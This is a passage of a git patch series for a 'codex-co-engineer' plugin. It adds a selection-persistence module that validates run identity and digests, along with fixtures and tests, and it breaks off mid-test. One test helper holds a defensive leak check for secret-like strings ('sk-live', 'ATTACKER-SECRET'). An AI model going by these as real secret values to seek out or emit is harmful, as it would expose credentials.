stamp cap stays 256 and a max-valid 64-char run id keeps P25 open rejection', async () => { + assert.equal(MAX_RUN_JOURNAL_STAMP_BYTES, 256); + + const runId = `a${'b'.repeat(63)}`; + assert.equal(runId.length, 64); + const storeRoot = await makeStoreRoot('r1-r25b-legacy-maxid-store-'); + const journalRoot = await makePrivateRoot('r1-r25b-legacy-maxid-journal-'); + try { + const store = await openRunStore(storeRoot); + await store.submit(makeSubmission({ runId })); + const created = await errorOf(() => createRunJournal({ + root: journalRoot, store, run_id: runId, + })); + assert.equal(created.code, 'run_journal_file_too_large'); + const stampPath = path.join(journalRoot, 'runs', runId, 'created.json'); + const stampBytes = await readFile(stampPath); + assert.ok(stampBytes.byteLength > MAX_RUN_JOURNAL_STAMP_BYTES, + `legacy 64-char stamp is ${stampBytes.byteLength} bytes and must exceed the v1 cap`); + const opened = await errorOf(() => openRunJournal({ + root: journalRoot, store, run_id: runId, + })); + assert.equal(opened.code, 'run_journal_file_too_large'); + } finally { + await rm(storeRoot, { recursive: true, force: true }); + await rm(journalRoot, { recursive: true, force: true }); + } +}); + test('selection-branch resolution_ready binds stamp v2 and exact reopen/replay', async () => { await withAggregateJournal(async ({ journal, journalRoot, anchor, runId, root }) => { assert.equal(journal.run_id, runId); From c6a3870d9e52544ef0397820237b28d3903ba4d7 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sun, 23 Aug 2026 03:56:06 +0000 Subject: [PATCH 045/151] feat(run): persist one selection question batch Add the P27 selection-persistence facade and detached receipts. Persist exactly one derived P05 SelectionRequestV1 through the accepted R24A anchor at submitted@0, with identical replay and typed no_selection_required for direct-plan runs. --- .../mcp/v3/selection-persistence.mjs | 471 ++++++++++++++++++ .../r1-selection-persistence-fixtures.mjs | 201 ++++++++ .../test/r1-selection-persistence.test.mjs | 214 ++++++++ 3 files changed, 886 insertions(+) create mode 100644 plugins/codex-co-engineer/mcp/v3/selection-persistence.mjs create mode 100644 plugins/codex-co-engineer/test/fixtures/r1-selection-persistence-fixtures.mjs create mode 100644 plugins/codex-co-engineer/test/r1-selection-persistence.test.mjs diff --git a/plugins/codex-co-engineer/mcp/v3/selection-persistence.mjs b/plugins/codex-co-engineer/mcp/v3/selection-persistence.mjs new file mode 100644 index 0000000..779b792 --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/selection-persistence.mjs @@ -0,0 +1,471 @@ +// Ask-once selection persistence facade (P27). +// +// Additive v3 module. It derives the exact P05 SelectionRequestV1 from +// immutable manifest/profile/availability/capability inputs, persists that +// one question batch through an already-submitted R24A aggregate run at +// submitted@0, and later accepts one complete structured reply bound to the +// exact run/request/digest. Persistence uses only accepted R24A handle +// methods `commitSelectionRequest`, `getCoordination`, and +// `commitSelectionResolution`. After a successful or identical reply it +// verifies the accepted R25B `bindAggregateResolution` at +// resolution_ready@2 and returns a detached in-memory plan. Direct-plan +// runs fail `no_selection_required` and never call `commitResolvedPlan`. +// This module does not import or invoke provider, supervisor, workspace, +// server, scheduler, or P25 event surfaces. The returned question is +// presentation data, not an AttentionBatchV1. + +import { + capturedFreeze, + capturedHasOwn, + capturedIncludes, + capturedIsArray, + sortedCapturedKeys, +} from './grammar.mjs'; +import { canonicalJsonStringify, runManifestDigestV1 } from './identity.mjs'; +import { + assertBoundDigest, + snapshotRecord, + validateRunIdentityV1, +} from './protected-identity.mjs'; +import { + MAX_SELECTION_QUESTIONS, + classifySelectionAnswersV1, + resolveRunSelectionV1, + resolveSelectionAnswersV1, + selectionRequestIdentity, + validateSelectionRequestV1, +} from './resolver.mjs'; +import { bindAggregateResolution } from './run-journal.mjs'; +import { MAX_ASSIGNMENTS, assertRunId } from './run-manifest.mjs'; +import { + AGGREGATE_RESOLVED_PLAN_SCHEMA_ID, + AGGREGATE_SELECTION_REPLY_SCHEMA_ID, +} from './aggregate-run-anchor.mjs'; +import { + assertDirectJsonClosure, + assertNotProxy, + fail, + freezeData, + hasOwn, + optOwn, + ownDataValue, +} from './selection-json.mjs'; + +export const SELECTION_QUESTION_BATCH_RECEIPT_SCHEMA_ID = + 'codex-co-engineer.selection-question-batch-receipt.v1'; +export const SELECTION_REPLY_RECEIPT_SCHEMA_ID = + 'codex-co-engineer.selection-reply-receipt.v1'; + +export const SELECTION_PERSISTENCE_INPUT_KEYS = capturedFreeze([ + 'anchor', 'availability', 'capabilities', 'identity', 'manifest', 'profiles', +]); +export const SELECTION_REPLY_INPUT_KEYS = capturedFreeze([ + ...SELECTION_PERSISTENCE_INPUT_KEYS, 'reply', +]); +export const SELECTION_STRUCTURED_REPLY_KEYS = capturedFreeze([ + 'answers', 'digest', 'request_id', 'run_id', +]); + +const PERSIST_REQUIRED_KEYS = capturedFreeze([ + 'anchor', 'availability', 'capabilities', 'identity', 'manifest', +]); +const REPLY_REQUIRED_KEYS = capturedFreeze([ + ...PERSIST_REQUIRED_KEYS, 'reply', +]); +const JSON_INPUT_KEYS = capturedFreeze([ + 'availability', 'capabilities', 'identity', 'manifest', 'profiles', 'reply', +]); + +const TRUSTED_ANCHOR_METHODS = capturedFreeze([ + 'commitSelectionRequest', + 'commitSelectionResolution', + 'getByRunId', + 'getCoordination', +]); + +function assertTrustedAnchor(anchor) { + assertNotProxy(anchor, '$.anchor'); + if (anchor === undefined || anchor === null || typeof anchor !== 'object' + || capturedIsArray(anchor)) { + fail('invalid_type', '$.anchor', + '$.anchor must be a trusted openAggregateRunAnchor(...) handle.'); + } + if (typeof anchor.root !== 'string' || typeof anchor.marker_digest !== 'string') { + fail('invalid_type', '$.anchor', + '$.anchor must expose the accepted R24A root marker identity.'); + } + assertBoundDigest(anchor.marker_digest, '$.anchor.marker_digest'); + for (const method of TRUSTED_ANCHOR_METHODS) { + if (typeof anchor[method] !== 'function') { + fail('invalid_type', `$.anchor.${method}`, + `$.anchor.${method} must be the accepted R24A handle method.`); + } + } + return anchor; +} + +function parseFacadeOptions(options, allowed, required) { + if (options === undefined || options === null) { + fail('invalid_type', '$', 'P27 options must be a plain object.'); + } + assertNotProxy(options, '$'); + if (typeof options !== 'object' || capturedIsArray(options)) { + fail('invalid_type', '$', 'P27 options must be a plain object.'); + } + for (const key of Reflect.ownKeys(options)) { + if (typeof key === 'symbol') { + fail('symbol_key_denied', '$[symbol]', + 'P27 options carry a symbol-keyed property; selection data is direct JSON only.'); + } + } + for (const key of sortedCapturedKeys(options)) { + if (!capturedIncludes(allowed, key)) { + fail('unknown_key', `$.${key}`, `$.${key} is not a closed P27 option.`); + } + } + for (const key of required) { + if (!capturedHasOwn(options, key)) { + fail('missing_key', `$.${key}`, `$.${key} is required.`); + } + } + const anchor = assertTrustedAnchor(ownDataValue(options, 'anchor', '$.anchor')); + const json = {}; + for (const key of JSON_INPUT_KEYS) { + if (!capturedIncludes(allowed, key) || !capturedHasOwn(options, key)) continue; + const value = ownDataValue(options, key, `$.${key}`); + assertDirectJsonClosure(value, `$.${key}`); + json[key] = snapshotRecord(value); + } + return { anchor, json }; +} + +function resolverOptions(json) { + const options = { + availability: json.availability, + capabilities: json.capabilities, + manifest: json.manifest, + }; + if (json.profiles !== undefined) options.profiles = json.profiles; + return options; +} + +function deriveOutstandingRequest(json) { + const identity = validateRunIdentityV1(json.identity); + assertRunId(identity.run_id, '$.identity.run_id'); + const plan = resolveRunSelectionV1(resolverOptions(json)); + const manifestDigest = runManifestDigestV1(json.manifest).digest; + if (plan.run_id !== identity.run_id) { + fail('identity_mismatch', '$.manifest.run_id', + 'The manifest run id does not match the supplied run identity.'); + } + if (manifestDigest !== identity.manifest_digest) { + fail('identity_mismatch', '$.identity.manifest_digest', + 'The supplied run identity does not bind this exact manifest digest.'); + } + if (plan.complete === true || plan.selection_request === null + || plan.selection_request === undefined) { + fail('no_selection_required', '$.manifest', + 'This run has no outstanding SelectionRequestV1; P27 does not persist a direct plan.'); + } + validateSelectionRequestV1(plan.selection_request); + const requestIdentity = selectionRequestIdentity(plan.selection_request); + if (requestIdentity.run_id !== identity.run_id) { + fail('identity_mismatch', '$.selection_request.run_id', + 'The derived selection request does not bind the supplied run identity.'); + } + const questionCount = plan.selection_request.question_count; + if (typeof questionCount !== 'number' || questionCount < 1) { + fail('no_selection_required', '$.selection_request.questions', + 'P27 requires one nonempty SelectionRequestV1.'); + } + if (questionCount > MAX_SELECTION_QUESTIONS || questionCount > MAX_ASSIGNMENTS) { + fail('invalid_selection_request', '$.selection_request.questions', + `P27 persists at most ${MAX_SELECTION_QUESTIONS} selection questions.`); + } + return { + identity, + plan, + request: plan.selection_request, + requestIdentity, + }; +} + +function assertSubmittedIdentity(record, identity) { + if (record.run_id !== identity.run_id) { + fail('identity_mismatch', '$.identity.run_id', + 'The durable aggregate run id does not match the supplied run identity.'); + } + if (record.manifest_digest !== identity.manifest_digest) { + fail('identity_mismatch', '$.identity.manifest_digest', + 'The durable aggregate run binds a different manifest digest.'); + } + const submittedIdentity = validateRunIdentityV1(record.identity); + if (submittedIdentity.digest !== identity.digest) { + fail('identity_mismatch', '$.identity', + 'The durable aggregate run identity does not match the supplied identity.'); + } +} + +function sameRequestTriple(left, right) { + return left !== null && left !== undefined && right !== null && right !== undefined + && left.run_id === right.run_id + && left.request_id === right.request_id + && left.digest === right.digest; +} + +function projectCoordination(coordination) { + return snapshotRecord({ + phase: coordination.phase, + revision: coordination.revision, + run_id: coordination.run_id, + anchor_digest: coordination.anchor_digest, + state_digest: coordination.state_digest, + selection_request_binding: coordination.selection_request_binding, + selection_reply_digest: coordination.selection_reply_digest, + resolved_plan_digest: coordination.resolved_plan_digest, + }); +} + +function questionBatchReceipt({ created, request, requestIdentity, coordination }) { + return freezeData({ + schema: SELECTION_QUESTION_BATCH_RECEIPT_SCHEMA_ID, + run_id: requestIdentity.run_id, + request_id: requestIdentity.request_id, + digest: requestIdentity.digest, + availability_digest: request.availability_digest, + capability_snapshot_digest: request.capability_snapshot_digest, + created: created === true, + disposition: coordination.phase, + question_count: request.question_count, + selection_request: snapshotRecord(request), + coordination: projectCoordination(coordination), + }); +} + +function persistableAnswers(request, answers) { + const questions = optOwn(request, 'questions'); + const byId = new Map(); + for (let index = 0; index < questions.length; index += 1) { + const question = ownDataValue(questions, String(index), `$.questions[${index}]`); + byId.set(optOwn(question, 'assignment_id'), question); + } + const stored = []; + for (let index = 0; index < answers.length; index += 1) { + const answer = ownDataValue(answers, String(index), `$.reply.answers[${index}]`); + const assignmentId = optOwn(answer, 'assignment_id'); + const question = byId.get(assignmentId); + const provider = optOwn(question, 'answer_scope') === 'model_only' + ? optOwn(optOwn(question, 'requested'), 'provider') + : optOwn(answer, 'provider'); + stored.push({ + assignment_id: assignmentId, + model: optOwn(answer, 'model'), + provider, + }); + } + return stored; +} + +function replyReceipt({ + created, requestIdentity, request, plan, coordination, binding, +}) { + return freezeData({ + schema: SELECTION_REPLY_RECEIPT_SCHEMA_ID, + run_id: requestIdentity.run_id, + request_id: requestIdentity.request_id, + digest: requestIdentity.digest, + availability_digest: request.availability_digest, + capability_snapshot_digest: request.capability_snapshot_digest, + created: created === true, + disposition: coordination.phase, + plan: snapshotRecord(plan), + aggregate_binding: snapshotRecord(binding), + coordination: projectCoordination(coordination), + }); +} + +export async function persistSelectionQuestionBatch(options = {}) { + const { anchor, json } = parseFacadeOptions( + options, SELECTION_PERSISTENCE_INPUT_KEYS, PERSIST_REQUIRED_KEYS, + ); + const derived = deriveOutstandingRequest(json); + const submitted = await anchor.getByRunId(derived.identity.run_id); + assertSubmittedIdentity(submitted, derived.identity); + const coordination = await anchor.getCoordination(derived.identity.run_id); + if (coordination.phase === 'awaiting_selection') { + if (!sameRequestTriple(coordination.selection_request_binding, derived.requestIdentity)) { + fail('stale_selection_request', '$.manifest', + 'A different selection request is already bound to this run; P27 never generates a second batch.'); + } + } else if (coordination.phase !== 'submitted' || coordination.revision !== 0) { + fail('aggregate_run_revision_conflict', 'coordination', + 'persistSelectionQuestionBatch requires submitted@0 or an identical awaiting_selection replay.'); + } + const committed = await anchor.commitSelectionRequest({ + run_id: derived.identity.run_id, + expected_revision: 0, + request_identity: derived.requestIdentity, + record: derived.request, + }); + const receipt = questionBatchReceipt({ + created: committed.created, + request: derived.request, + requestIdentity: derived.requestIdentity, + coordination: committed.coordination, + }); + if (receipt.disposition !== 'awaiting_selection' || receipt.coordination.revision !== 1) { + fail('aggregate_run_revision_conflict', 'coordination', + 'Persisting a selection question must settle at awaiting_selection@1.'); + } + if (!sameRequestTriple(receipt.coordination.selection_request_binding, derived.requestIdentity)) { + fail('stale_selection_request', 'coordination', + 'The durable selection binding does not match the derived request identity.'); + } + if (canonicalJsonStringify(receipt.selection_request) + !== canonicalJsonStringify(derived.request)) { + fail('stale_selection_request', 'selection_request', + 'The returned question batch is not byte-identical to the derived SelectionRequestV1.'); + } + return receipt; +} + +function parseStructuredReply(reply, requestIdentity) { + const fields = {}; + for (const key of sortedCapturedKeys(reply)) { + if (!capturedIncludes(SELECTION_STRUCTURED_REPLY_KEYS, key)) { + fail('unknown_key', `$.reply.${key}`, `$.reply.${key} is not a structured reply field.`); + } + } + for (const key of SELECTION_STRUCTURED_REPLY_KEYS) { + if (!hasOwn(reply, key)) { + fail('missing_key', `$.reply.${key}`, `$.reply.${key} is required.`); + } + fields[key] = ownDataValue(reply, key, `$.reply.${key}`); + } + assertRunId(fields.run_id, '$.reply.run_id'); + if (fields.run_id !== requestIdentity.run_id + || fields.request_id !== requestIdentity.request_id + || fields.digest !== requestIdentity.digest) { + fail('stale_selection_request', '$.reply', + 'The structured reply does not bind the exact derived run/request/digest identity.'); + } + assertNotProxy(fields.answers, '$.reply.answers'); + assertDirectJsonClosure(fields.answers, '$.reply.answers'); + if (!capturedIsArray(fields.answers)) { + fail('invalid_type', '$.reply.answers', '$.reply.answers must be a dense JSON array.'); + } + return fields; +} + +function requireAwaitingOrReplay(coordination, requestIdentity) { + if (coordination.phase === 'awaiting_selection' && coordination.revision === 1) { + if (!sameRequestTriple(coordination.selection_request_binding, requestIdentity)) { + fail('stale_selection_request', 'coordination', + 'Durable coordination is awaiting a different selection request identity.'); + } + return; + } + if (coordination.phase === 'resolution_ready' && coordination.revision === 2) { + if (!sameRequestTriple(coordination.selection_request_binding, requestIdentity)) { + fail('stale_selection_request', 'coordination', + 'A different selection request already settled this run.'); + } + return; + } + if (coordination.phase === 'submitted' || coordination.selection_request_binding === null) { + fail('selection_not_awaiting', 'coordination', + 'acceptSelectionReply requires a durable awaiting_selection@1 question; it does not create one.'); + } + if (coordination.phase === 'resolution_ready' && coordination.revision === 1) { + fail('no_selection_required', 'coordination', + 'Direct-plan resolution_ready@1 is outside P27 and cannot accept a selection reply.'); + } + fail('aggregate_run_revision_conflict', 'coordination', + 'acceptSelectionReply requires awaiting_selection@1 or an identical resolution_ready@2 replay.'); +} + +export async function acceptSelectionReply(options = {}) { + const { anchor, json } = parseFacadeOptions( + options, SELECTION_REPLY_INPUT_KEYS, REPLY_REQUIRED_KEYS, + ); + const derived = deriveOutstandingRequest(json); + const submitted = await anchor.getByRunId(derived.identity.run_id); + assertSubmittedIdentity(submitted, derived.identity); + const coordination = await anchor.getCoordination(derived.identity.run_id); + requireAwaitingOrReplay(coordination, derived.requestIdentity); + const reply = parseStructuredReply(json.reply, derived.requestIdentity); + const classification = classifySelectionAnswersV1( + derived.request, reply.answers, { + digest: reply.digest, + request_id: reply.request_id, + run_id: reply.run_id, + }, + ); + if (classification.ok !== true) { + const codes = classification.problems.map((problem) => problem.code).join(', '); + fail('selection_answers_rejected', '$.reply.answers', + `The structured reply was not an acceptable complete answer batch (${codes}).`); + } + const answered = resolveSelectionAnswersV1({ + ...resolverOptions(json), + answers: reply.answers, + replyIdentity: { + digest: reply.digest, + request_id: reply.request_id, + run_id: reply.run_id, + }, + request: derived.request, + }); + if (answered.plan.complete !== true || answered.plan.selection_request !== null) { + fail('answered_run_incomplete', '$.reply', + 'Re-resolution did not produce a complete plan; P27 refuses a partial reply.'); + } + if (answered.availability_digest !== derived.plan.availability_digest + || answered.capability_snapshot_digest !== derived.plan.capability_snapshot_digest + || answered.digest !== derived.requestIdentity.digest) { + fail('selection_snapshot_mismatch', '$.reply', + 'Answer re-resolution moved snapshot or request identity; refusing.'); + } + const committed = await anchor.commitSelectionResolution({ + run_id: derived.identity.run_id, + expected_revision: 1, + request_identity: derived.requestIdentity, + reply_record: { + schema: AGGREGATE_SELECTION_REPLY_SCHEMA_ID, + run_id: derived.identity.run_id, + request_id: derived.requestIdentity.request_id, + answers: persistableAnswers(derived.request, reply.answers), + }, + resolved_plan_record: { + schema: AGGREGATE_RESOLVED_PLAN_SCHEMA_ID, + run_id: derived.identity.run_id, + complete: true, + }, + }); + if (committed.coordination.phase !== 'resolution_ready' + || committed.coordination.revision !== 2) { + fail('aggregate_run_revision_conflict', 'coordination', + 'Selection reply settlement must land at resolution_ready@2.'); + } + const binding = await bindAggregateResolution(anchor, derived.identity.run_id); + if (binding.phase !== 'resolution_ready' || binding.revision !== 2) { + fail('run_journal_aggregate_not_ready', 'aggregate_binding', + 'P27 requires the accepted R25B resolution_ready revision 2 binding before returning.'); + } + if (binding.run_id !== derived.identity.run_id + || binding.resolved_plan_digest !== committed.coordination.resolved_plan_digest) { + fail('run_journal_aggregate_mismatch', 'aggregate_binding', + 'The aggregate binding does not match the settled selection resolution.'); + } + return replyReceipt({ + created: committed.created, + requestIdentity: derived.requestIdentity, + request: derived.request, + plan: answered.plan, + coordination: committed.coordination, + binding, + }); +} + +capturedFreeze(persistSelectionQuestionBatch); +capturedFreeze(acceptSelectionReply); diff --git a/plugins/codex-co-engineer/test/fixtures/r1-selection-persistence-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-selection-persistence-fixtures.mjs new file mode 100644 index 0000000..015146d --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-selection-persistence-fixtures.mjs @@ -0,0 +1,201 @@ +// Isolated P27 selection-persistence fixtures. Tests own the assertions. +// Helpers never rank, default, dispatch, or persist a second question batch. + +import { chmod, mkdtemp, rm } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import path from 'node:path'; + +import { initializeAggregateRunAnchorRoot } from '../../mcp/v3/aggregate-run-anchor.mjs'; +import { runManifestDigestV1 } from '../../mcp/v3/identity.mjs'; +import { buildGitIdentityV1, buildRunIdentityV1 } from '../../mcp/v3/protected-identity.mjs'; +import { resolveRunSelectionV1, selectionRequestIdentity } from '../../mcp/v3/resolver.mjs'; +import { + BASE_SHA, + availabilitySnapshot, + capabilitySnapshot, + resolveInputs, + reviewer, + runManifest, + writer, +} from './r1-resolver-fixtures.mjs'; + +export const P27_RUN_ID = 'p27-selection-run'; +export const P27_REPOSITORY_PATH = '/repos/p27-selection'; + +export { + BASE_SHA, + availabilitySnapshot, + capabilitySnapshot, + resolveInputs, + reviewer, + runManifest, + writer, +}; + +export async function makePrivateRoot(prefix = 'r1-p27-') { + const root = await mkdtemp(path.join(tmpdir(), prefix)); + await chmod(root, 0o700); + return root; +} + +export function unresolvedAssignments(assignmentCount = 1) { + const assignments = []; + for (let index = 0; index < assignmentCount; index += 1) { + assignments.push(reviewer(assignmentCount === 1 ? 'lane-0' : `lane-${index}`, 'omitted')); + } + return assignments; +} + +export function completeAssignments(assignmentCount = 1) { + const assignments = []; + for (let index = 0; index < assignmentCount; index += 1) { + const assignmentId = assignmentCount === 1 ? 'lane-0' : `lane-${index}`; + assignments.push(writer(assignmentId, [`src/${assignmentId}/**`], { + provider: 'grok', + model: 'grok-4', + })); + } + return assignments; +} + +export function makeManifest({ + runId = P27_RUN_ID, + assignmentCount = 1, + unresolved = true, + assignments = null, +} = {}) { + return runManifest( + assignments ?? (unresolved + ? unresolvedAssignments(assignmentCount) + : completeAssignments(assignmentCount)), + { + run_id: runId, + repository: { path: P27_REPOSITORY_PATH, base_sha: BASE_SHA }, + }, + ); +} + +export function makeRunIdentity(manifest) { + const git = buildGitIdentityV1({ + repository_path: manifest.repository.path, + base_sha: manifest.repository.base_sha, + }); + return buildRunIdentityV1({ + run_id: manifest.run_id, + git, + manifest_digest: runManifestDigestV1(manifest).digest, + }); +} + +export function makePersistenceInputs({ + runId = P27_RUN_ID, + assignmentCount = 1, + unresolved = true, + assignments = null, + extra = {}, +} = {}) { + const manifest = makeManifest({ runId, assignmentCount, unresolved, assignments }); + const identity = makeRunIdentity(manifest); + return { + availability: availabilitySnapshot(), + capabilities: capabilitySnapshot(), + identity, + manifest, + ...extra, + }; +} + +export function makeSubmitInput(inputs) { + return { + run_id: inputs.identity.run_id, + identity: structuredClone(inputs.identity), + git: structuredClone(inputs.identity.git), + manifest_digest: inputs.identity.manifest_digest, + }; +} + +export async function withSubmittedAnchor(fn, options = {}) { + const inputs = makePersistenceInputs(options); + const root = await makePrivateRoot(); + try { + const anchor = await initializeAggregateRunAnchorRoot(root); + await anchor.submit(makeSubmitInput(inputs)); + return await fn({ root, anchor, inputs }); + } finally { + await rm(root, { recursive: true, force: true }); + } +} + +export function derivedRequest(inputs) { + const plan = resolveRunSelectionV1({ + availability: inputs.availability, + capabilities: inputs.capabilities, + manifest: inputs.manifest, + ...(inputs.profiles === undefined ? {} : { profiles: inputs.profiles }), + }); + if (plan.selection_request === null || plan.selection_request === undefined) { + throw new Error('fixture expected an outstanding SelectionRequestV1'); + } + return { + plan, + request: plan.selection_request, + identity: selectionRequestIdentity(plan.selection_request), + }; +} + +export function completeAnswers(request, provider = 'grok', model = 'grok-4') { + return request.questions.map((question) => { + if (question.answer_scope === 'model_only') { + return { + assignment_id: question.assignment_id, + model, + }; + } + return { + assignment_id: question.assignment_id, + model, + provider, + }; + }); +} + +export function structuredReply(request, answers = completeAnswers(request)) { + return { + run_id: request.run_id, + request_id: request.request_id, + digest: request.digest, + answers, + }; +} + +export function wrapAnchor(anchor, hooks = {}) { + return { + root: anchor.root, + marker_digest: anchor.marker_digest, + submit: (...args) => anchor.submit(...args), + getByRunId: (...args) => anchor.getByRunId(...args), + getCoordination: (...args) => { + if (typeof hooks.getCoordination === 'function') return hooks.getCoordination(...args); + return anchor.getCoordination(...args); + }, + commitSelectionRequest: async (...args) => { + if (typeof hooks.beforeCommitRequest === 'function') await hooks.beforeCommitRequest(...args); + const result = await anchor.commitSelectionRequest(...args); + if (typeof hooks.afterCommitRequest === 'function') await hooks.afterCommitRequest(result, ...args); + return result; + }, + commitSelectionResolution: async (...args) => { + if (typeof hooks.beforeCommitResolution === 'function') { + await hooks.beforeCommitResolution(...args); + } + const result = await anchor.commitSelectionResolution(...args); + if (typeof hooks.afterCommitResolution === 'function') { + await hooks.afterCommitResolution(result, ...args); + } + return result; + }, + commitResolvedPlan: async () => { + throw new Error('P27 must never call commitResolvedPlan'); + }, + }; +} diff --git a/plugins/codex-co-engineer/test/r1-selection-persistence.test.mjs b/plugins/codex-co-engineer/test/r1-selection-persistence.test.mjs new file mode 100644 index 0000000..9fba63e --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-selection-persistence.test.mjs @@ -0,0 +1,214 @@ +import assert from 'node:assert/strict'; +import { lstat, readFile, readdir, rm } from 'node:fs/promises'; +import path from 'node:path'; +import test from 'node:test'; + +import { + initializeAggregateRunAnchorRoot, + openAggregateRunAnchor, +} from '../mcp/v3/aggregate-run-anchor.mjs'; +import { canonicalJsonStringify } from '../mcp/v3/identity.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + SELECTION_QUESTION_BATCH_RECEIPT_SCHEMA_ID, + persistSelectionQuestionBatch, +} from '../mcp/v3/selection-persistence.mjs'; +import { + P27_RUN_ID, + derivedRequest, + makePersistenceInputs, + makePrivateRoot, + makeSubmitInput, + wrapAnchor, + withSubmittedAnchor, +} from './fixtures/r1-selection-persistence-fixtures.mjs'; + +function errorOf(action) { + return Promise.resolve() + .then(action) + .then(() => assert.fail('expected a typed RunContractV1Error'), (error) => { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + return error; + }); +} + +function assertFrozenTree(value) { + assert.ok(value === null || typeof value !== 'object' || Object.isFrozen(value), + 'returned records must be frozen'); + if (value && typeof value === 'object') { + for (const child of Object.values(value)) assertFrozenTree(child); + } +} + +function assertNoLeak(value) { + const text = canonicalJsonStringify(value); + assert.doesNotMatch(text, /\/tmp\//u); + assert.doesNotMatch(text, /repository_path/u); + assert.doesNotMatch(text, /sk-live/u); + assert.doesNotMatch(text, /ATTACKER-SECRET/u); + assert.doesNotMatch(text, /Review lane/u); +} + +test('persist derives the exact P05 batch at submitted@0 and returns a detached receipt', async () => { + await withSubmittedAnchor(async ({ root, anchor, inputs }) => { + const expected = derivedRequest(inputs); + const receipt = await persistSelectionQuestionBatch({ anchor, ...inputs }); + assert.equal(receipt.schema, SELECTION_QUESTION_BATCH_RECEIPT_SCHEMA_ID); + assert.equal(receipt.created, true); + assert.equal(receipt.disposition, 'awaiting_selection'); + assert.equal(receipt.run_id, P27_RUN_ID); + assert.equal(receipt.request_id, expected.identity.request_id); + assert.equal(receipt.digest, expected.identity.digest); + assert.equal(receipt.question_count, expected.request.question_count); + assert.equal(receipt.coordination.revision, 1); + assert.equal( + canonicalJsonStringify(receipt.selection_request), + canonicalJsonStringify(expected.request), + ); + assert.deepEqual( + receipt.selection_request.questions.map((question) => question.assignment_id), + expected.request.questions.map((question) => question.assignment_id), + ); + assertFrozenTree(receipt); + assertNoLeak(receipt); + + const coordination = await anchor.getCoordination(P27_RUN_ID); + assert.equal(coordination.phase, 'awaiting_selection'); + assert.equal(coordination.revision, 1); + assert.equal(coordination.selection_request_binding.request_id, expected.identity.request_id); + assert.equal(coordination.selection_request_binding.digest, expected.identity.digest); + + const recordPath = path.join(root, 'runs', P27_RUN_ID, 'selection-request.record.json'); + const stored = JSON.parse((await readFile(recordPath, 'utf8')).trim()); + assert.equal(canonicalJsonStringify(stored), canonicalJsonStringify(expected.request)); + assert.equal(typeof receipt.selection_request.questions[0].prompt, 'undefined'); + }); +}); + +test('exact persist replay is created false with byte-identical questions and no revision growth', async () => { + await withSubmittedAnchor(async ({ root, anchor, inputs }) => { + const first = await persistSelectionQuestionBatch({ anchor, ...inputs }); + const requestStat = await lstat(path.join(root, 'runs', P27_RUN_ID, 'selection-request.record.json')); + const coordStat = await lstat(path.join(root, 'runs', P27_RUN_ID, 'coordination.json')); + const names = (await readdir(path.join(root, 'runs', P27_RUN_ID))).sort(); + + const replay = await persistSelectionQuestionBatch({ anchor, ...inputs }); + assert.equal(replay.created, false); + assert.equal(replay.disposition, 'awaiting_selection'); + assert.equal(replay.digest, first.digest); + assert.equal(canonicalJsonStringify(replay.selection_request), + canonicalJsonStringify(first.selection_request)); + assert.equal(canonicalJsonStringify({ ...replay, created: true }), + canonicalJsonStringify({ ...first, created: true })); + assert.equal(replay.coordination.state_digest, first.coordination.state_digest); + assert.equal(replay.coordination.revision, 1); + + const afterRequest = await lstat(path.join(root, 'runs', P27_RUN_ID, 'selection-request.record.json')); + const afterCoord = await lstat(path.join(root, 'runs', P27_RUN_ID, 'coordination.json')); + assert.equal(afterRequest.ino, requestStat.ino); + assert.equal(afterCoord.ino, coordStat.ino); + assert.deepEqual((await readdir(path.join(root, 'runs', P27_RUN_ID))).sort(), names); + }); +}); + +test('direct-plan and fully resolved runs fail no_selection_required without commitResolvedPlan', async () => { + await withSubmittedAnchor(async ({ anchor }) => { + const complete = makePersistenceInputs({ unresolved: false }); + await anchor.submit(makeSubmitInput(complete)); + let resolvedPlanCalls = 0; + const wrapped = wrapAnchor(anchor, {}); + const original = wrapped.commitResolvedPlan; + wrapped.commitResolvedPlan = async (...args) => { + resolvedPlanCalls += 1; + return original(...args); + }; + const error = await errorOf(() => persistSelectionQuestionBatch({ + anchor: wrapped, + ...complete, + })); + assert.equal(error.code, 'no_selection_required'); + assert.equal(resolvedPlanCalls, 0); + const coordination = await anchor.getCoordination(complete.identity.run_id); + assert.equal(coordination.phase, 'submitted'); + assert.equal(coordination.revision, 0); + assert.equal(coordination.selection_request_binding, null); + }, { runId: 'p27-complete-other' }); +}); + +test('a different or stale manifest or snapshot at the same run fails closed', async () => { + await withSubmittedAnchor(async ({ anchor, inputs }) => { + await persistSelectionQuestionBatch({ anchor, ...inputs }); + const before = await anchor.getCoordination(P27_RUN_ID); + + const mutatedManifest = structuredClone(inputs.manifest); + mutatedManifest.objective = 'A different authored objective.'; + const staleManifest = await errorOf(() => persistSelectionQuestionBatch({ + anchor, + ...inputs, + manifest: mutatedManifest, + identity: { + ...inputs.identity, + manifest_digest: inputs.identity.manifest_digest, + }, + })); + assert.equal(staleManifest.code, 'identity_mismatch'); + + const driftedAvailability = structuredClone(inputs.availability); + driftedAvailability.providers.grok.models = ['grok-4', 'grok-4-fast']; + const staleSnapshot = await errorOf(() => persistSelectionQuestionBatch({ + anchor, + ...inputs, + availability: driftedAvailability, + })); + assert.equal(staleSnapshot.code, 'stale_selection_request'); + + const after = await anchor.getCoordination(P27_RUN_ID); + assert.equal(after.state_digest, before.state_digest); + assert.equal(after.revision, 1); + assert.equal(after.selection_request_binding.digest, before.selection_request_binding.digest); + }); +}); + +test('persist never generates a second batch and preserves 1- and 8-question order', async () => { + await withSubmittedAnchor(async ({ anchor, inputs }) => { + const one = await persistSelectionQuestionBatch({ anchor, ...inputs }); + assert.equal(one.question_count, 1); + assert.deepEqual(one.selection_request.questions.map((question) => question.assignment_id), ['lane-0']); + }); + + await withSubmittedAnchor(async ({ anchor, inputs }) => { + const eight = await persistSelectionQuestionBatch({ anchor, ...inputs }); + assert.equal(eight.question_count, 8); + assert.deepEqual( + eight.selection_request.questions.map((question) => question.assignment_id), + ['lane-0', 'lane-1', 'lane-2', 'lane-3', 'lane-4', 'lane-5', 'lane-6', 'lane-7'], + ); + }, 